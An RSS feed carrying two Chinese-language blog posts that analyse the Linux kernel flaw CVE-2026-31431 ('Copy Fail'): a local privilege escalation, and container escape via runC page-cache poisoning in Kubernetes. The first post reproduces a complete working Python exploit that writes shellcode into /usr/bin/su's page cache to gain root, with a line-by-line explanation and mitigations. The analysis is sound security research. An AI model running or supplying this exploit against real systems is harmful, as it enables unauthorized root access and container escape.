<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>捕风集</title><description>技术、安全与人文社科方向的随笔和读书笔记</description><link>https://centrix.top</link><item><title>CVE-2026-31431 Copy Fail浅析（下）：容器逃逸</title><link>https://centrix.top/blog/cve-2026-31431-copy-fail2</link><guid isPermaLink="true">https://centrix.top/blog/cve-2026-31431-copy-fail2</guid><description>Write your description here.</description><pubDate>Sun, 24 May 2026 20:27:18 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 序言&lt;/h2&gt;
&lt;p&gt;在xint团队公开Copy Fail漏洞本地利用的技术细节的两周之后，5月19日，该团队进一步公开了Copy Fail漏洞在容器逃逸方面的应用，主要目标为Kubernetes容器。本文在上篇介绍了Copy Fail本地利用原理的基础上，进一步介绍这一漏洞在容器环境下的利用。&lt;/p&gt;
&lt;h2&gt;0x01 前置知识&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;inode&lt;/code&gt;与&lt;code&gt;i_mapping&lt;/code&gt;：&lt;code&gt;inode&lt;/code&gt;是Linux中文件系统用于管理文件的数据结构，记录对应文件的属性和存储的磁盘块等信息。&lt;code&gt;i_mapping&lt;/code&gt;是&lt;code&gt;i_node&lt;/code&gt;结构体中的一个指针，指向结构体&lt;code&gt;address_space&lt;/code&gt;，该结构体用于管理页面缓存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;file&lt;/code&gt;与&lt;code&gt;f_mapping&lt;/code&gt;：进程通过&lt;code&gt;file&lt;/code&gt;结构体维护打开的文件。&lt;code&gt;f_mapping&lt;/code&gt;是&lt;code&gt;file&lt;/code&gt;结构体中的一个指针，一般与&lt;code&gt;inode-&gt;i_mapping&lt;/code&gt;一致。因此，如果两个文件描述符具有相同的&lt;code&gt;f_mapping&lt;/code&gt;，则它们具有相同的页面缓存。&lt;/li&gt;
&lt;li&gt;overlay文件系统：一种叠加式的文件系统，通过多个不同层级的文件系统叠加形成合并的文件系统，目前广泛用于云原生技术中。由于云原生场景下Copy Fail的利用使用了较多Overlayfs的特性。因此在0x02节中加以介绍。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workload&lt;/code&gt;：工作负载，指云原生系统为了完成业务目标而正在运行的“实际任务”或“应用程序本身”。对于K8s而言，主要分为以下几类：
&lt;ul&gt;
&lt;li&gt;无状态&lt;code&gt;workload&lt;/code&gt;：以最常见的&lt;code&gt;Deployment&lt;/code&gt;为代表，每个实例之间没有区别，无需记录上下文信息。如微服务接口、前端界面等。&lt;/li&gt;
&lt;li&gt;有状态&lt;code&gt;workload&lt;/code&gt;：以&lt;code&gt;StatefulSet&lt;/code&gt;为代表，实例独一无二，具备独立的存储和网络，如数据库实例。&lt;/li&gt;
&lt;li&gt;pod守护&lt;code&gt;workload&lt;/code&gt;：以&lt;code&gt;DaemonSet&lt;/code&gt;为代表，不负责具体的业务实现，负责针对节点物理基础设施本身的任务，如日志收集、节点状态监控、网络服务和策略配置等，每个节点只会运行一个pod。需要注意的是，由于&lt;code&gt;DaemonSet&lt;/code&gt;的任务与物理设备关联较大，因此常通过&lt;code&gt;hostPath&lt;/code&gt;挂载敏感目录。&lt;/li&gt;
&lt;li&gt;定时任务&lt;code&gt;workload&lt;/code&gt;：以&lt;code&gt;Job&lt;/code&gt;和&lt;code&gt;CronJob&lt;/code&gt;为代表，定时任务，执行完自动退出。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x02 Overlay Filesystem简介&lt;/h2&gt;
&lt;p&gt;Overlay Filesystem主要分为四个目录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;lowerdir&lt;/code&gt;：底层目录，提供整个容器的基础数据，权限为只读。可以由多个目录构成，上级目录中的同名文件会屏蔽下级目录中的文件，在容器中作为镜像层。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;upperdir&lt;/code&gt;：上层目录，提供数据修改功能，权限为读写。在容器中作为容器层。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workdir&lt;/code&gt;：工作目录，对用户和进程透明，可读写，初始为空，用于保证合并视图的一致性和完整性。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;merged&lt;/code&gt;：合并视图，由内核通过&lt;code&gt;lowerdir&lt;/code&gt;和&lt;code&gt;upperdir&lt;/code&gt;合并而成，为用户直接所见的容器根目录。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为节省和复用存储空间，基础镜像所在的&lt;code&gt;lowerdir&lt;/code&gt;是由多个只读的目录组成的，多个不同的容器可以共享相同的&lt;code&gt;lowerdir&lt;/code&gt;。对于读取操作，overlayfs会从上到下依次尝试读取，直到读到匹配文件名的文件为止。因此，上层会屏蔽下层的同名文件。对于对&lt;code&gt;lowerdir&lt;/code&gt;中文件的修改操作，overlayfs采用写时复制(CoW, Copy on Write)的方式进行处理。即系统首先调用copy-up，复制一个新的文件到pod的&lt;code&gt;upperdir&lt;/code&gt;并在新文件中修改。对于删除操作，overlayfs会在&lt;code&gt;upperdir&lt;/code&gt;中创建whiteout文件，设备号为0/0，在&lt;code&gt;Merged&lt;/code&gt;视图中会隐藏下层同名文件，实现删除的效果。&lt;/p&gt;
&lt;p&gt;需要注意的是，overlayfs借助CoW实现在镜像层只读前提下的修改操作，从而保持下层文件的共享。但一旦攻击者通过某种手法在不触发CoW的情况下修改了文件，就会造成对共享文件的投毒，影响同节点上的其它pod甚至宿主机自身。&lt;/p&gt;
&lt;h2&gt;0x03 攻击场景分析&lt;/h2&gt;
&lt;p&gt;当Copy Fail在容器中触发时，由于其修改了目标页面缓存而非目标页面本身，因此不会触发overlayfs的copy-up操作。与镜像层在各不同pod之间共享类似，不同pod间相同的共享文件所使用的也是一样的页面缓存。因此，通过Copy Fail写入的恶意shellcode会进入目标共享文件的页面缓存中，当其它pod后续读取这些文件时，所读取到的就是被投毒的文件。&lt;/p&gt;
&lt;p&gt;对于检测而言，由于没有文件落地和修改，磁盘上的本地文件没有发生变化，计算文件散列值等操作无法检测到攻击。基于上述分析，我们进一步分析Copy Fail在两个威胁模型下的利用。&lt;/p&gt;
&lt;h3&gt;1. 跨容器投毒&lt;/h3&gt;
&lt;p&gt;这一威胁模型下，攻击者无需具有特权，唯一的前置条件为已控制某个pod或具备&lt;code&gt;create pods&lt;/code&gt;权限。这些前提在云原生架构中非常常见，如在多租户场景下，租户常具有在给定的命名空间下操作和创建pod的权限，在CI/CD中，自动化托管工具也常具有构建pod的能力。因此，前置条件的达成对于攻击者而言具有较强的可行性。此外，如果攻击者具有&lt;code&gt;create pods&lt;/code&gt;权限，那么即可通过&lt;code&gt;nodeAffinity&lt;/code&gt;和&lt;code&gt;nodeName&lt;/code&gt;属性精确指定目标pod，使其所创建的pod与目标pod位于同一个物理节点上。&lt;/p&gt;
&lt;p&gt;达成前置条件后，攻击者可以任意选择一个共享范围较广的文件进行投毒，如在Python的&lt;code&gt;site-packages/&lt;/code&gt;下寻找常用库，或选择&lt;code&gt;glibc&lt;/code&gt;等动态库。选定目标后，攻击者可在pod内通过Copy Fail对目标文件的页面缓存投毒，而不会触发CoW。当其它共享该文件的pod引入或运行该文件时，控制流就会执行shellcode。&lt;/p&gt;
&lt;p&gt;由于&lt;code&gt;DaemonSet&lt;/code&gt;相对于普通pod具有更高权限，大多数情况下还挂载了主机的敏感目录。在这种情况下，通过跨容器投毒直接能够实现容器逃逸，而无需场景2中的方法。&lt;/p&gt;
&lt;h3&gt;2. 容器逃逸&lt;/h3&gt;
&lt;p&gt;该场景下攻击者的能力与前述场景一致。逃逸的出发点来源于对CVE-2019-5736的修复方式。CVE-2019-5736的核心insight在于，在某些场景下，需要runC在容器内运行，执行用户定义的二进制文件。runC的实现方式是创建一个runC init的子进程，调用&lt;code&gt;execve&lt;/code&gt;，用用户提供的二进制文件覆盖自身。而攻击者能够使用&lt;code&gt;/proc/self/exe&lt;/code&gt;使其用宿主机的runC覆盖自身，从而在容器内获得对宿主机runC的控制，写入恶意代码后重新等待runC执行即可实现逃逸。&lt;/p&gt;
&lt;p&gt;有经验的读者可能会发现上述利用过程中的问题。首先，当runC在容器内运行的时候，runC文件处于运行时，是无法对其写入的，Linux会报错&lt;code&gt;ETXTBSY&lt;/code&gt;。PoC中首先获得只读的文件描述符，然后循环尝试以写入方式打开。当runC进程结束时即可打开文件并写入。其次，为什么不选择直接覆盖&lt;code&gt;/proc/self/exe&lt;/code&gt;而还要让runC运行一次自身？其原因在于runC init进程有&lt;code&gt;non-dumpable&lt;/code&gt;标志，其它进程无法解引用，而&lt;code&gt;execve&lt;/code&gt;会去除这个标志。以上本属于CVE-2019-5736自身的tricks，但为方便理解还是稍提一嘴。&lt;/p&gt;
&lt;p&gt;具体的漏洞利用过程分为以下四个步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;强制runC循环运行。首先，将&lt;code&gt;/bin/sh&lt;/code&gt;覆盖为&lt;code&gt;#!/proc/self/exe&lt;/code&gt;，使runC在执行shell时重新执行runC，保证runC进程在容器内的命名空间中存活足够长时间。&lt;/li&gt;
&lt;li&gt;找到runC的pid。通过遍历&lt;code&gt;/proc/&amp;#x3C;pid&gt;/exe&lt;/code&gt;找到runC的pid。&lt;/li&gt;
&lt;li&gt;投毒。打开&lt;code&gt;/proc/&amp;#x3C;runc_pid&gt;/exe&lt;/code&gt;，利用Copy Fail对runC的页面缓存进行投毒，将其修改为恶意ELF文件。&lt;/li&gt;
&lt;li&gt;等待下一次runC的执行。在页面缓存失效前，宿主机上的任何对runC的调用都会引用被投毒的页面缓存，从而实现shellcode的执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x04 小结&lt;/h2&gt;
&lt;p&gt;在Copy Fail本地利用的基础上，衍生出上述两种场景的利用方式是比较显然的。利用Copy Fail针对的是页面缓存的特性，容器级虚拟化的内核共享特性使其失去了隔离攻击的能力，而拥有独立内核的虚拟机则能够抵抗Copy Fail的逃逸，这又一次体现出安全与性能之间的权衡取舍。&lt;/p&gt;
&lt;h2&gt;0x05 参考文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://xint.io/blog/copy-fail-pod-to-host&quot;&gt;Copy Fail: From Pod to Host.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.kernel.org/filesystems/overlayfs.html&quot;&gt;Overlay Filesystem - The Linux Kernel documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.ac.cn/docs/concepts/workloads/controllers/daemonset/&quot;&gt;DaemonSet | Kubernetes(K8s) 容器编排系统&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/&quot;&gt;Breaking out of Docker via runC – Explaining CVE-2019-5736&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>CVE-2026-31431 Copy Fail浅析（上）：本地利用</title><link>https://centrix.top/blog/cve-2026-31431-copy-fail1</link><guid isPermaLink="true">https://centrix.top/blog/cve-2026-31431-copy-fail1</guid><description>Copy Fail本地提权原理与PoC解析</description><pubDate>Sat, 02 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0x00 序言&lt;/h2&gt;
&lt;p&gt;似乎每次核弹级漏洞爆出的时间点都是在长假前，毫不体谅广大应急人员。Copy Fail漏洞于2026年4月29日公开，以其罕见的易用性和通用性迅速传播，到今天互联网上已有大量分析文章，足见其影响力。仅从单机视角看，Copy Fail表现为本地提权漏洞；但由于漏洞原语作用于页面缓存，在多用户主机、CI runner以及容器集群等共享内核场景下，其影响会被进一步放大。本文先介绍该漏洞在本地提权场景下的技术原理、利用方式以及缓解措施。&lt;/p&gt;
&lt;h2&gt;0x01 前置知识&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;LPE：Local Privilege Escalation，本地提权漏洞。能够在已有普通用户权限的前提下提升至root权限。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;AEAD：Authenticated Encryption with Associated Data，带关联数据的认证加密。IPsec的一种机制，同时提供加密和认证。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;AAD：Associated Authenticated Data，关联认证数据。数据包中不加密的部分，如IPsec中的SPI、序列号、IP等，需要保证完整性，因此用于计算HMAC。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;authencesn&lt;/code&gt;：Linux内核Crypto API的一个AEAD模版，用于支持IPsec ESP模式下64位的扩展序列号ESN计算。ESN的高位4字节&lt;code&gt;seq_hi&lt;/code&gt;在本地存储，低位4字节&lt;code&gt;seq_lo&lt;/code&gt;来自于网络传输的数据包。因此，在计算HMAC时，需要对数据重排后才能计算。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;AF_ALG&lt;/code&gt;：一种socket类型，能够将内核Crypto API暴露给用户空间，允许用户将套接字绑定到任意AEAD模版，如&lt;code&gt;authencesn&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;splice()&lt;/code&gt;：一个Linux中的零拷贝API，用于减少在网络通信等场景下数据在磁盘、内核缓冲区和用户缓冲区等区块来回拷贝的次数。其原型为：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#include &amp;#x3C;fcntl.h&gt;
ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;​	其中&lt;code&gt;fd_in&lt;/code&gt; 为输入文件描述符，&lt;code&gt;fd_out&lt;/code&gt;为输出文件描述符，两个之中必须有一个为管道。现代Linux系统中的管道是内存页引用的容器，因此，当调用&lt;code&gt;splice(file_fd, ..., pipe_fd, ...)&lt;/code&gt;时，函数只把&lt;code&gt;file_fd&lt;/code&gt;对应的物理页页面缓存的引用填入&lt;code&gt;pipe_fd&lt;/code&gt;，不需要进行实际数据读写。&lt;/p&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;scatterlist：Linux内核中用于描述分散物理内存片段的数据结构，常见于scatter-gather I/O与DMA相关场景，后文简称SGL。一个scatterlist结构体可以描述一个物理页面或页面中的一段数据，通过&lt;code&gt;page_link&lt;/code&gt;字段关联对应页面。scatterlist数组则可以把多个离散页面组织成逻辑上的连续数据流，供加密、网络、块设备等子系统处理。需要注意的是，&lt;code&gt;page_link&lt;/code&gt;的低位会被用作标志位，其中&lt;code&gt;SG_CHAIN&lt;/code&gt;若为1，则说明该项不直接指向数据页，而是指向另一个scatterlist数组。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;0x02 漏洞原理&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://copy.fail/&quot;&gt;&lt;em&gt;Copy Fail&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(CVE-2026-&lt;em&gt;31431&lt;/em&gt;) is a logic bug in the Linux kernel&apos;s&lt;/em&gt; &lt;em&gt;authencesn&lt;/em&gt; cryptographic template. It lets an unprivileged local user trigger a deterministic, controlled 4-byte write into the page cache of any readable file on the system. A single 732-byte Python script can edit a setuid binary and obtain root on essentially all Linux distributions shipped since 2017.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;简而言之，该漏洞允许攻击者对任意可读文件的页面缓存写入4字节的可控字符。因此，攻击者只要选择任意SUID文件，将shellcode写入页面缓存后通过&lt;code&gt;execve&lt;/code&gt;等API并执行该文件，系统会使用页面缓存中受污染的代码，即可以root权限执行代码，实现提权。该漏洞由三个不同时期引入的变更导致，下文简要介绍所涉及的机制。&lt;/p&gt;
&lt;h3&gt;1. &lt;code&gt;AF_ALG&lt;/code&gt;原地处理优化&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;AF_ALG&lt;/code&gt;套接字调用&lt;code&gt;recv()&lt;/code&gt;接受消息时，解密函数的输入是&lt;code&gt;AAD||ciphertext||tag&lt;/code&gt;，AAD的长度为&lt;code&gt;assoclen&lt;/code&gt;， &lt;code&gt;ciphertext||tag&lt;/code&gt;的长度为&lt;code&gt;cryptlen&lt;/code&gt;，标签的长度为&lt;code&gt;authsize&lt;/code&gt;。关键的是，该函数对接收缓冲区的处理采用了部分就地操作的方式，并没有完全建立新的缓冲区。其中，AAD和密文部分从输入SGL逐字节正常复制到输出SGL中，但最后的标签字段，内核使用&lt;code&gt;sg_chain()&lt;/code&gt;设置&lt;code&gt;SG_CHAIN&lt;/code&gt;标志位，直接将输出SGL的末尾链接到输入SGL的标签字段。&lt;/p&gt;
&lt;p&gt;因此，输出SGL可以视为两部分，一部分是新的用户缓冲区，其内容为复制而来的AAD和密文，另一部分则是链接到原输入缓冲区的标签部分。这一优化的问题在于混淆了应作为只读区域的输入SGL和可写的输出SGL，使不同权限的区域间缺少必要的隔离，仅依赖算法自身的实现正确。&lt;/p&gt;
&lt;h3&gt;2. &lt;code&gt;AF_ALG&lt;/code&gt; 与 &lt;code&gt;splice()&lt;/code&gt; 的结合使用&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;splice()&lt;/code&gt;函数可以构造解密函数的输入，进而控制标签字段的值。如果将某个可读文件通过&lt;code&gt;splice()&lt;/code&gt;提供给&lt;code&gt;AF_ALG&lt;/code&gt;套接字，就能使输出SGL的标签字段指向的文件页面缓存可控，为后续利用创造了有利可图的内存布局。&lt;/p&gt;
&lt;h3&gt;3. &lt;code&gt;authencesn&lt;/code&gt;越界写入&lt;/h3&gt;
&lt;p&gt;现在离漏洞成立仅差一个存在越界写的AEAD模版算法了，而&lt;code&gt;authencesn&lt;/code&gt;就是这个算法。如前文所述，计算HMAC前需要对输出SGL进行重排。根据要求，&lt;code&gt;authencesn&lt;/code&gt;需要将&lt;code&gt;seq_hi&lt;/code&gt;放在哈希函数输入的最前面，而在最后附加上&lt;code&gt;seq_lo&lt;/code&gt;。即：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);                           // read AAD bytes 0–7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);                           // overwrite dst[4..7] with seqno_hi
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);     // write seqno_lo after the tag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;code&gt;scatterwalk_map_and_copy()&lt;/code&gt;函数原型为&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;void scatterwalk_map_and_copy (void *buf, struct scatterlist *sg, unsigned int start, unsigned int nbytes, int out)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;out&lt;/code&gt;参数表示数据传输的方向，&lt;code&gt;0&lt;/code&gt; 代表从&lt;code&gt;sg&lt;/code&gt;中读取到&lt;code&gt;buf&lt;/code&gt;；&lt;code&gt;1&lt;/code&gt; 代表从&lt;code&gt;buf&lt;/code&gt;写入到&lt;code&gt;sg&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;因此，第一行代码从AAD中读取8字节到临时缓冲区中，第二行代码将&lt;code&gt;seq_hi&lt;/code&gt;写到&lt;code&gt;dst[4..7]&lt;/code&gt;。上述操作后续都会恢复，因此对本文不重要。第三行中，函数将&lt;code&gt;seq_lo&lt;/code&gt;写入&lt;code&gt;dst[assoclen + cryptlen]&lt;/code&gt;，也即在&lt;code&gt;AAD||ciphertext||tag&lt;/code&gt;后附加上了&lt;code&gt;seq_lo&lt;/code&gt;，越出了安全区域，发生越界写。计算HMAC后，该函数也没有对这个位置进行恢复。&lt;code&gt;seq_lo&lt;/code&gt;来源于AAD的4-7字节，可由攻击者通过&lt;code&gt;sendmsg()&lt;/code&gt;控制。&lt;/p&gt;
&lt;p&gt;综上，攻击者能够对任意可读文件写入4字节的可控字符。对于写入位置，攻击者能够控制&lt;code&gt;splice()&lt;/code&gt;函数中输入文件的偏移和输入长度，故而能够覆盖任意位置的4字节，通过循环则能够写入任意长度的shellcode。以上为该漏洞的技术原理。&lt;/p&gt;
&lt;h2&gt;0x03 EXP解析&lt;/h2&gt;
&lt;p&gt;732字节的Python EXP脚本是漏洞作者引以为傲的一个特点，本节简单解析一下所给出的脚本。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
  a=s.socket(38,5,0);a.bind((&quot;aead&quot;,&quot;authencesn(hmac(sha256),cbc(aes))&quot;));h=279;v=a.setsockopt;v(h,1,d(&apos;0800010000000010&apos;+&apos;0&apos;*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d(&apos;00&apos;);u.sendmsg([b&quot;A&quot;*4+c],[(h,3,i*4),(h,2,b&apos;\x10&apos;+i*19),(h,4,b&apos;\x08&apos;+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
  try:u.recv(8+t)
  except:0
f=g.open(&quot;/usr/bin/su&quot;,0);i=0;e=zlib.decompress(d(&quot;78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3&quot;))
while i&amp;#x3C;len(e):c(f,i,e[i:i+4]);i+=4
g.system(&quot;su&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1. &lt;code&gt;d(x)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;工具函数，用于将16进制shellcode转为&lt;code&gt;bytes&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;2. &lt;code&gt;c(f,t,c)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;参数中，&lt;code&gt;f&lt;/code&gt;为目标文件， &lt;code&gt;t&lt;/code&gt;为文件偏移值， &lt;code&gt;c&lt;/code&gt;为需写入内容。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;创建&lt;code&gt;AF_ALG&lt;/code&gt;套接字并绑定到&lt;code&gt;authencesn&lt;/code&gt;上，使用&lt;code&gt;setsockopt&lt;/code&gt;设置相关参数，将&lt;code&gt;authsize&lt;/code&gt;设为4，调用&lt;code&gt;accept()&lt;/code&gt;后返回套接字&lt;code&gt;u&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;通过&lt;code&gt;sendmsg()&lt;/code&gt;构造8字节的AAD，其中4-7字节为恶意代码。&lt;/li&gt;
&lt;li&gt;进行两次&lt;code&gt;splice()&lt;/code&gt;，将长度为&lt;code&gt;t+4&lt;/code&gt;的页面引用送入套接字&lt;code&gt;u&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;执行&lt;code&gt;u.recv(t+8)&lt;/code&gt;。此时AAD长度为8，密文与标签长度为&lt;code&gt;t&lt;/code&gt;，因此页面引用中剩余的4字节被修改为&lt;code&gt;c&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3. 主函数&lt;/h3&gt;
&lt;p&gt;循环调用实现任意长度的shellcode覆写。&lt;/p&gt;
&lt;h2&gt;0x04 缓解措施&lt;/h2&gt;
&lt;p&gt;最直接的修复方式是升级到包含补丁的内核版本，使&lt;code&gt;AF_ALG&lt;/code&gt;不再把只读输入SGL链入可写输出SGL，从源头消除越界写落到页面缓存的条件。在无法立即升级内核时，可以考虑临时禁用&lt;code&gt;algif_aead&lt;/code&gt;模块或限制不可信用户对相关Crypto API的访问，以降低漏洞可达性。需要注意的是，清理页面缓存、重启服务或替换单个被投毒文件只能消除已经发生的污染，并不能修复漏洞本身。&lt;/p&gt;
&lt;h2&gt;0x05 结语&lt;/h2&gt;
&lt;p&gt;相较于其它常用的Linux提权漏洞，Copy Fail影响面巨大，近年主流Linux发行版均受影响。相较于竞态类漏洞，Copy Fail具备较强的稳定性，不容易造成系统崩溃。此外，该漏洞完全基于内存页面缓存进行，无文件落地，检测难度较大。&lt;/p&gt;
&lt;p&gt;从披露方描述来看，该漏洞也是AI辅助漏洞挖掘中影响较大、利用链条较完整的案例之一。无论从发现方式还是漏洞形态看，它都说明AI正在改变安全研究的工作流。&lt;/p&gt;
&lt;p&gt;来自披露者的技术分析写得非常详尽细致，推荐阅读。本文主要关注本地提权场景，后续容器与Kubernetes场景可见下篇：&lt;a href=&quot;/blog/cve-2026-31431-copy-fail2&quot;&gt;CVE-2026-31431 Copy Fail浅析（下）：容器逃逸&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;0x06 参考资料&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://copy.fail/&quot;&gt;Copy Fail - CVE-2026-31431&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xint.io/blog/copy-fail-linux-distributions&quot;&gt;Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py&quot;&gt;Copy Fail Exp Script&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.huihoo.com/doxygen/linux/kernel/3.7/crypto_2scatterwalk_8c.html#a4c64329724e553996e89d9c290a35ad3&quot;&gt;Linux Kernel: crypto/scatterwalk.c File Reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.huihoo.com/doxygen/linux/kernel/3.7/splice_8c.html&quot;&gt;Linux Kernel: fs/splice.c File Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item></channel></rss>